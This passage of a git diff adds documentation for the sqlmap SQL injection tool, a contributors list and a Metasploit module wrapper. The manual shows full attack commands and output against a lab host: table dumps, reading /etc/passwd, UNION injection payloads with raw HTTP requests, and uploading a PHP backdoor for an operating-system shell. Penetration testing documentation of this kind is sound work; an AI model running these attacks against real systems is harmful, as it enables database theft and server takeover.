+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: 2
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: fluffy
+[hh:mm:09] [INFO] performed 48 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] retrieved: bunny
+[hh:mm:09] [INFO] performed 41 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: 3
+[hh:mm:09] [INFO] performed 13 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: wu
+[hh:mm:09] [INFO] performed 20 queries in 0 seconds
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
+ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] retrieved: ming
+[hh:mm:10] [INFO] performed 34 queries in 0 seconds
+SELECT * FROM test.users [3]:
+[*] 1, luther, blissett
+[*] 2, fluffy, bunny
+[*] 3, wu, ming
+
+
+
+As you can see in this last example, if the SELECT statement has
+an asterisk instead of the column(s) name, sqlmap first retrieves the
+column names of the table then asks if the query can return multiple
+entries and goes on.
+
+
+File system access
+
+Read a specific file content
+
+
+Option: --read-file
+
+
+If the back-end database management system is MySQL and the current user
+has access to the LOAD_FILE() function, it is possible to read
+the content of a specific file from the file system.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
+ --read-file /etc/passwd
+
+/etc/passwd:
+---
+root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+bin:x:2:2:bin:/bin:/bin/sh
+sys:x:3:3:sys:/dev:/bin/sh
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/bin/sh
+man:x:6:12:man:/var/cache/man:/bin/sh
+lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+mail:x:8:8:mail:/var/mail:/bin/sh
+news:x:9:9:news:/var/spool/news:/bin/sh
+uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+proxy:x:13:13:proxy:/bin:/bin/sh
+www-data:x:33:33:www-data:/var/www:/bin/false
+backup:x:34:34:backup:/var/backups:/bin/sh
+nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
+postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
+inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
+---
+
+
+
+Operating system access
+
+Prompt for an interactive operating system shell
+
+
+Option: --os-shell
+
+
+If the back-end database management system is MySQL, the web application's
+programming language is PHP and you, or sqlmap itself, found a writable
+directory within the web server document root path, sqlmap can prompt for
+an interactive operating system shell on the back-end database management
+system.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
+ --os-shell
+
+[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
+[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
+[hh:mm:49] [INPUT] please provide the web server document root [/var/www]:
+[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that
+you want sqlmap to try to upload the agent [/var/www/test]:
+[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands
+right now? [Y/n] y
+$ id
+uid=33(www-data) gid=33(www-data) groups=33(www-data)
+$ exit
+
+
+
+As you might notice, such operating system shell has the same
+functionalities of SQL shell.
+
+
+Miscellaneous
+
+Test for UNION SELECT query SQL injection
+
+
+Option: --union-test
+
+
+It is possible to test if the target URL is affected by an inband
+SQL injection vulnerability.
+Refer to the Techniques section for details on this SQL injection
+technique.
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: Oracle
+
+[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
+NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
+NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
+
+
+
+As you can see, the target URL parameter id might be also
+affected by an inband SQL injection.
+In case this vulnerability is exploitable it is strongly recommended to
+use it.
+
+Use the UNION SELECT query SQL injection
+
+
+Option: --union-use
+
+
+Providing the --union-use parameter, sqlmap will first test if
+the target URL is affected by an inband SQL injection
+(--union-test) vulnerability then, in case it is vulnerable and
+exploitable, it will trigger this vulnerability to retrieve the output of
+the SELECT queries.
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
+ --union-use --banner
+
+[...]
+back-end DBMS: Microsoft SQL Server 2000
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
+CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
+CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
+[hh:mm:42] [INFO] performed 3 queries in 0 seconds
+banner:
+---
+Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+
+As you can see, the vulnerable parameter (id) is affected by both
+blind SQL injection and exploitable inband SQL injection vulnerabilities.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
+ --union-use --banner
+
+[...]
+[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
+IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
+AND 6043=6043
+[hh:mm:25] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
+%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
+%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
+06043=6043&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Mon, 28 Jul 2008 22:34:25 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 194
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
+</table>
+</body></html>
+
+[hh:mm:25] [INFO] performed 3 queries in 0 seconds
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+As you can see, the MySQL version() function (banner) output is
+nested (inband) within the HTTP response page, this makes the inband SQL
+injection exploitable.
+
+
+Estimated time of arrival
+
+
+Option: --eta
+
+
+It is possible to calculate and show the estimated time of arrival to
+retrieve each query output in real time while performing the SQL injection
+attack.
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \
+ --eta -v 1
+
+[...]
+back-end DBMS: Oracle
+
+[hh:mm:24] [INFO] fetching banner
+[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
+output again
+[hh:mm:24] [INFO] retrieved the length of query output: 64
+[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
+WHERE ROWNUM=1
+77% [=======================================> ] 49/64 ETA 00:00
+
+
+
+then:
+
+
+100% [====================================================] 64/64
+[hh:mm:15] [INFO] performed 454 queries in 2 seconds
+banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \
+ --users --eta -v 1
+
+[...]
+back-end DBMS: Microsoft SQL Server 2000
+
+[hh:mm:57] [INFO] fetching database users
+[hh:mm:57] [INFO] fetching number of database users
+[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)),
+(CHAR(32))) FROM master..syslogins
+[hh:mm:57] [INFO] retrieved: 3
+[hh:mm:57] [INFO] performed 13 queries in 0 seconds
+[hh:mm:57] [INFO] retrieved the length of query output: 22
+[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
+master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name)
+ORDER BY name
+100% [====================================================] 22/22
+[hh:mm:58] [INFO] performed 160 queries in 0 seconds
+[hh:mm:58] [INFO] retrieved the length of query output: 2
+[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
+master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name)
+ORDER BY name
+100% [====================================================] 2/2
+[hh:mm:59] [INFO] performed 20 queries in 0 seconds
+[hh:mm:59] [INFO] retrieved the length of query output: 25
+[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
+master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name)
+ORDER BY name
+100% [====================================================] 25/25
+[hh:mm:00] [INFO] performed 181 queries in 1 seconds
+database management system users [3]:
+[*] BUILTIN\Administrators
+[*] sa
+[*] W2KITINQUIS\Administrator
+
+
+
+As you can see, sqlmap first calculates the length of the query output,
+then estimated the time of arrival, shows the progress in percentage and
+counts the number of retrieved query output characters.
+
+
+Update sqlmap to the latest stable version
+
+
+Option: --update
+
+
+
+It is possible to update sqlmap to the latest stable version available on
+its by running it with the
+--update option.
+
+
+$ python sqlmap.py --update -v 4
+
+[hh:mm:53] [DEBUG] initializing the configuration
+[hh:mm:53] [DEBUG] initializing the knowledge base
+[hh:mm:53] [DEBUG] cleaning up configuration parameters
+[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:53] [DEBUG] creating HTTP requests opener object
+[hh:mm:53] [INFO] updating sqlmap
+[hh:mm:53] [DEBUG] checking if a new version is available
+[hh:mm:55] [TRAFFIC OUT] HTTP request:
+GET /doc/VERSION HTTP/1.1
+Host: sqlmap.sourceforge.net
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 01 Aug 2008 14:50:55 GMT
+Server: Apache/1.3.33 (Unix) PHP/4.3.10
+Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
+ETag: "9fcc53e-4-48919d9b"
+Accept-Ranges: bytes
+Content-Length: 4
+Connection: close
+Content-Type: text/plain
+X-Pad: avoid browser bug
+
+[hh:mm:55] [INFO] you are already running sqlmap latest stable version
+[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
+[hh:mm:56] [TRAFFIC OUT] HTTP request:
+GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
+Host: www.sqlsecurity.com
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
+language=en-US
+Connection: close
+
+[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
+Cache-Control: private
+Connection: close
+Date: Fri, 01 Aug 2008 14:50:50 GMT
+Content-Length: 167918
+Content-Type: text/html; charset=utf-8
+Server: Microsoft-IIS/6.0
+X-Powered-By: ASP.NET
+X-AspNet-Version: 2.0.50727
+Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
+expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
+Set-Cookie: language=en-US; path=/; HttpOnly
+
+[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
+[hh:mm:02] [DEBUG] parsing XML queries file
+
+
+
+As you can see, sqlmap first check if a new stable version is available,
+then in case it is, download it, unzip it and update the Microsoft SQL
+Server XML versions file from Chip Andrews'
+.
+
+
+Note that the default configuration file sqlmap.conf is backupped
+to sqlmap.conf.bak in case a new stable version is available and
+your copy is updated.
+
+
+Save and resume all data retrieved on a session file
+
+
+Option: -s
+
+
+It is possible to log all queries and their output on a text file while
+performing whatever request, both in blind SQL injection and in inband SQL
+injection.
+This is useful if you stop the injection and resume it after some time.
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+ -v 1 -s "sqlmap.log"
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
+[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o
+[hh:mm:43] [ERROR] user aborted
+
+
+
+As you can see, I stopped the injection with CTRL-C while
+retrieving the PostgreSQL banner and logged the session to text file
+sqlmap.log.
+
+
+$ cat sqlmap.log
+
+[hh:mm:40 MM/DD/YY]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL]
+[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o
+
+
+
+As you can see, all queries performed and their output have been logged to
+the session file in real time while performing the injection.
+
+
+The session file has a structure as follows:
+
+
+[hh:mm:ss MM/DD/YY]
+[Target URL][Injection point][Parameters][Query or information name][Query output or value]
+
+
+
+Performing the same request now, sqlmap calculates the query length,
+in the example VERSION(), and resumes the injection from the last
+character retrieved to the end of the query output.
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+ -v 1 -s "sqlmap.log"
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:37] [INFO] fetching banner
+[hh:mm:37] [INFO] retrieved the length of query output: 93
+[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o...
+[hh:mm:37] [INFO] retrieving pending 75 query output characters
+[hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)),
+(CHR(32)))
+[hh:mm:37] [INFO] starting 1 threads
+[hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)
+banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)'
+
+
+
+Load options from a configuration INI file
+
+
+Option: -c
+
+
+It is possible to pass user's option from a configuration INI file, an
+example is sqlmap.conf.
+
+
+Example on a MySQL 5.0.51 target:
+
+
+$ python sqlmap.py -c "sqlmap.conf"
+
+[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+Save options on a configuration INI file
+
+
+Option: --save
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
+ -v 1 --save
+
+[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf'
+configuration file
+[hh:mm:33] [INFO] testing connection to the target url
+[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
+[...]
+
+
+
+As you can see, sqlmap saved the command line options to a configuration
+INI file, sqlmap-ADMcR.conf.
+
+
+$ cat sqlmap-ADMcR.conf
+
+[Request]
+aCred =
+aType =
+agent =
+cookie =
+data =
+googleDork =
+method = GET
+proxy =
+referer =
+testParameter =
+threads = 1
+url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2
+userAgentsFile =
+
+[Miscellaneous]
+eta = False
+sessionFile =
+unionTest = False
+unionUse = False
+updateAll = False
+verbose = 1
+
+[Enumeration]
+col =
+db =
+dumpAll = False
+dumpTable = False
+excludeSysDbs = False
+getBanner = True
+getColumns = False
+getCurrentDb = False
+getCurrentUser = False
+getDbs = False
+getPasswordHashes = False
+getPrivileges = False
+getTables = False
+getUsers = False
+query =
+sqlShell = False
+tbl =
+user =
+
+[File system]
+rFile =
+wFile =
+
+[Takeover]
+osShell = False
+
+[Fingerprint]
+extensiveFp = False
+
+[Injection]
+dbms =
+string =
+
+
+
+The file is a valid sqlmap configuration INI file.
+You can edit the configuration options as you wish and pass it to sqlmap
+with the -c option as explained in the previous paragraph:
+
+
+$ python sqlmap.py -c "sqlmap-ADMcR.conf"
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:10] [INFO] fetching banner
+[hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
+[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC)
+4.2.3 (Ubuntu 4.2.3-2ubuntu4)
+[hh:mm:16] [INFO] performed 657 queries in 6 seconds
+banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)'
+
+
+
+Disclaimer
+
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+
+Whatever you do with this tool is uniquely your responsability. If you are
+not authorized to punch holes in the network you are attacking be aware
+that such action might get you in trouble with a lot of law enforcement
+agencies.
+
+
+Authors
+
+
+Feel free to contact us for comments, suggestions, bug reports and
+patches.
+
+
+- (inquis) - project leader, core developer. PGP Key ID:
+
- (belch) - project founder, initial developer. PGP Key ID:
+
+
+
+
diff --git a/doc/THANKS b/doc/THANKS
new file mode 100644
index 000000000..26e2c85da
--- /dev/null
+++ b/doc/THANKS
@@ -0,0 +1,117 @@
+== Individuals ==
+
+Chip Andrews
+ for his excellent work maintaining the SQL Server versions database
+ at SQLSecurity.com and permission to implement the update feature
+ taking data from his site
+
+Karl Chen
+ for providing with the multithreading patch for the inference
+ algorithm
+
+Stefano Di Paola
+ for suggesting good features
+
+Adam Faheem
+ for reporting a few bugs
+
+Rong-En Fan
+ for commiting the sqlmap 0.5 port to the official FreeBSD project
+ repository
+
+Giorgio Fedon
+ for suggesting a speed improvement for bisection algorithm
+ for reporting a bug when running against Microsoft SQL Server 2005
+
+Ivan Giacomelli
+ for reporting a bug
+ for suggesting a minor enhancement
+
+Davide Guerri
+ for suggesting an enhancement
+
+Kristian Erik Hermansen
+ for reporting a bug
+ for donating to sqlmap development
+
+Jorge Hoya
+ for suggesting a minor enhancement
+
+Will Holcomb
+ for his MultipartPostHandler class to handle multipart POST forms and
+ permission to include it within sqlmap source code
+
+Michael Majchrowicz
+ for extensively beta-testing sqlmap on various MySQL DBMS
+ for providing really appreciated feedback
+ for suggesting a lot of ideas and features
+
+Enrico Milanese
+ for reporting a bugs when using (-a) a single line User-Agent file
+ for providing me with some ideas for the PHP backdoor
+
+Roberto Nemirovsky
+ for pointing me out some enhancements
+
+Antonio Parata
+ for providing me with some ideas for the PHP backdoor
+
+Chris Patten
+ for reporting a bug in the blind SQL injection bisection algorithm
+
+Adam Pridgen
+ for suggesting some features
+
+Alberto Revelli
+ for inspiring me to write sqlmap user's manual in SGML
+ for his great Microsoft SQL Server take over tool, sqlninja,
+ http://sqlninja.sourceforge.net
+
+Andres Riancho
+ for beta-testing sqlmap
+ for reporting a bug and suggesting some features
+ for including sqlmap in his great web application audit and attack
+ framework, w3af, http://w3af.sourceforge.net
+
+Antonio Riva
+ for reporting a bug when running with python 2.5
+
+Richard Safran
+ for donating the sqlmap.org domain control
+
+Tomoyuki Sakurai
+ for submitting to the FreeBSD project the sqlmap 0.5 port
+
+M Simkin
+ for suggesting a feature
+
+Alessandro Tanasi
+ for extensively beta-testing sqlmap
+ for suggesting many features and reporting some minor bugs
+
+Efrain Torres
+ for helping me out to improve the Metasploit Framework 3 sqlmap
+ auxiliary module and the integration with Metasploit WMAP framework
+ for his great Metasploit WMAP framework
+
+Sandro Tosi
+ for helping to create sqlmap Debian package correctly
+
+Bedirhan Urgun
+ for extensively beta-testing sqlmap
+ for suggesting some features and improvements
+ for benchmarking sqlmap in the context of his SQL injection
+ benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench
+
+fufuh
+ for reporting a bug when running on Windows
+
+Sylphid
+ for suggesting some features
+
+
+== Organizations ==
+
+OWASP Board
+ for sponsoring part of the sqlmap development in the context of OWASP
+ Spring of Code 2007
diff --git a/extra/msfauxmod/README b/extra/msfauxmod/README
new file mode 100644
index 000000000..26d16f35a
--- /dev/null
+++ b/extra/msfauxmod/README
@@ -0,0 +1,74 @@
+To use Metasploit's sqlmap auxiliary module launch msfconsole and follow
+the example below:
+
+$ ./msfconsole
+
+ _ _ _ _
+ | | | | (_) |
+ _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
+| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
+| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
+|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
+ | |
+ |_|
+
+
+ =[ msf v3.2-testing
++ -- --=[ 308 exploits - 173 payloads
++ -- --=[ 20 encoders - 6 nops
+ =[ 75 aux
+
+msf > use auxiliary/scanner/http/wmap_sqlmap
+msf auxiliary(wmap_sqlmap) > set RHOSTS 192.168.1.121
+RHOSTS => 192.168.1.121
+msf auxiliary(wmap_sqlmap) > set PATH /sqlmap/mysql/get_int.php
+PATH => /sqlmap/mysql/get_int.php
+msf auxiliary(wmap_sqlmap) > set QUERY id=1
+QUERY => id=1
+msf auxiliary(wmap_sqlmap) > set OPTS '--dbs --current-user'
+OPTS => --dbs --current-user
+msf auxiliary(wmap_sqlmap) > set SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py
+msf auxiliary(wmap_sqlmap) > show options
+
+Module options:
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ BATCH true yes Never ask for user input, use the default behaviour
+ DATA no The data string to be sent through POST
+ METHOD GET yes HTTP Method
+ OPTS --dbs --current-user no The sqlmap options to use
+ PATH /sqlmap/mysql/get_int.php yes The path/file to test for SQL injection
+ Proxies no Use a proxy chain
+ QUERY id=1 no HTTP GET query
+ RHOSTS 192.168.1.121 yes The target address range or CIDR identifier
+ RPORT 80 yes The target port
+ SQLMAP_PATH /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py yes The sqlmap >= 0.6.1 full path
+ SSL false no Use SSL
+ THREADS 1 yes The number of concurrent threads
+ VHOST no HTTP server virtual host
+
+msf auxiliary(wmap_sqlmap) > run
+[*] exec: /home/inquis/software/sqlmap/trunk/sqlmap/sqlmap.py -u 'http://192.168.1.121/sqlmap/mysql/get_int.php?id=1' --method GET --dbs --current-user --batch
+SQLMAP:
+SQLMAP: sqlmap/0.6.1 coded by Bernardo Damele A. G.
+SQLMAP: and Daniele Bellucci
+SQLMAP:
+SQLMAP: [*] starting at: 01:31:41
+SQLMAP:
+SQLMAP: [01:31:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+SQLMAP: back-end DBMS: MySQL >= 5.0.0
+SQLMAP:
+SQLMAP: current user: 'testuser@localhost'
+SQLMAP:
+SQLMAP: available databases [4]:
+SQLMAP: [*] information_schema
+SQLMAP: [*] mysql
+SQLMAP: [*] privatedb
+SQLMAP: [*] test
+SQLMAP:
+SQLMAP:
+SQLMAP: [*] shutting down at: 01:31:44
+SQLMAP:
+[*] Auxiliary module execution completed
+msf auxiliary(wmap_sqlmap) >
diff --git a/extra/msfauxmod/wmap_sqlmap.rb b/extra/msfauxmod/wmap_sqlmap.rb
new file mode 100644
index 000000000..9a0fc91b0
--- /dev/null
+++ b/extra/msfauxmod/wmap_sqlmap.rb
@@ -0,0 +1,90 @@
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::WMAPScanUniqueQuery
+ include Msf::Auxiliary::Scanner
+
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'SQLMAP SQL Injection External Module',
+ 'Description' => %q{
+ This module launch a sqlmap session.
+ sqlmap is an automatic SQL injection tool developed in Python.
+ Its goal is to detect and take advantage of SQL injection
+ vulnerabilities on web applications. Once it detects one
+ or more SQL injections on the target host, the user can
+ choose among a variety of options to perform an extensive
+ back-end database management system fingerprint, retrieve
+ DBMS session user and database, enumerate users, password
+ hashes, privileges, databases, dump entire or user
+ specific DBMS tables/columns, run his own SQL SELECT
+ statement, read specific files on the file system and much
+ more.
+ },
+ 'Author' => [ 'bernardo.damele [at] gmail.com', 'daniele.bellucci [at] gmail.com' ],
+ 'License' => BSD_LICENSE,
+ 'Version' => '$Revision$',
+ 'References' =>
+ [
+ ['URL', 'http://sqlmap.sourceforge.net'],
+ ]
+ ))
+
+ register_options(
+ [
+ OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]),
+ OptString.new('PATH', [ true, "The path/file to test for SQL injection", 'index.php' ]),
+ OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]),
+ OptString.new('DATA', [ false, "The data string to be sent through POST", '' ]),
+ OptString.new('OPTS', [ false, "The sqlmap options to use", ' ' ]),
+ OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]),
+ OptBool.new('BATCH', [ true, "Never ask for user input, use the default behaviour", 'true' ])
+ ], self.class)
+ end
+
+ # Test a single host
+ def run_host(ip)
+
+ sqlmap = datastore['SQLMAP_PATH']
+
+ if not sqlmap
+ print_error("The sqlmap script could not be found")
+ return
+ end
